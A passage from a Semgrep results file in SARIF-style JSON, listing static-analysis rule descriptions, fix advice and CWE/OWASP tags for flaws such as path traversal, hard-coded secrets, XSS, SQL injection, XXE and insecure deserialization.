prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","id":"java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","name":"java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that explictly allow JavaScript in an WKWebview to open windows automatically. Consider disabling this functionality if not required, following the principle of least privelege."},"help":{"markdown":"Webviews were observed that explictly allow JavaScript in an WKWebview to open windows automatically. Consider disabling this functionality if not required, following the principle of least privelege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n - [https://developer.apple.com/documentation/webkit/wkpreferences/1536573-javascriptcanopenwindowsautomati](https://developer.apple.com/documentation/webkit/wkpreferences/1536573-javascriptcanopenwindowsautomati)\n","text":"Webviews were observed that explictly allow JavaScript in an WKWebview to open windows automatically. Consider disabling this functionality if not required, following the principle of least privelege."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows","id":"swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows","name":"swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-file-response-django.tainted-filename-response-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-file-response-django.tainted-filename-response-django","id":"python.django.file.tainted-file-response-django.tainted-filename-response-django","name":"python.django.file.tainted-file-response-django.tainted-filename-response-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-file-response-django.tainted-filename-response-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret","id":"go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret","name":"go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`."},"help":{"markdown":"Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content)\n - [https://github.com/python-security/pyt//blob/093a077bcf12d1f58ddeb2d73ddc096623985fb0/examples/vulnerable_code/XSS_assign_to_other_var.py#L11](https://github.com/python-security/pyt//blob/093a077bcf12d1f58ddeb2d73ddc096623985fb0/examples/vulnerable_code/XSS_assign_to_other_var.py#L11)\n - [https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.make_response](https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.make_response)\n - [https://flask.palletsprojects.com/en/1.1.x/api/#response-objects](https://flask.palletsprojects.com/en/1.1.x/api/#response-objects)\n","text":"Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content","id":"python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content","name":"python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth","id":"python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth","name":"python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret","id":"ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret","name":"ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret","id":"kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret","name":"kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible JDBC injection detected. Use the parameterized query feature available in queryForObject instead of concatenating or formatting strings: 'jdbc.queryForObject(\"select * from table where name = ?\", Integer.class, parameterName);'"},"help":{"markdown":"Possible JDBC injection detected. Use the parameterized query feature available in queryForObject instead of concatenating or formatting strings: 'jdbc.queryForObject(\"select * from table where name = ?\", Integer.class, parameterName);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Possible JDBC injection detected. Use the parameterized query feature available in queryForObject instead of concatenating or formatting strings: 'jdbc.queryForObject(\"select * from table where name = ?\", Integer.class, parameterName);'"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string","id":"java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string","name":"java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta](https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false","id":"python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false","name":"python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding a `securityContext` to your Kubernetes pod, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"help":{"markdown":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding a `securityContext` to your Kubernetes pod, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding a `securityContext` to your Kubernetes pod, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext","id":"yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext","name":"yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External XML Schema is allowed for identified XML parser. The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"External XML Schema is allowed for identified XML parser. The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"External XML Schema is allowed for identified XML parser. The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","id":"kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","name":"kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pickle.tainted-pickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pickle.tainted-pickle","id":"python.lang.deserialization.tainted-pickle.tainted-pickle","name":"python.lang.deserialization.tainted-pickle.tainted-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pickle.tainted-pickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required 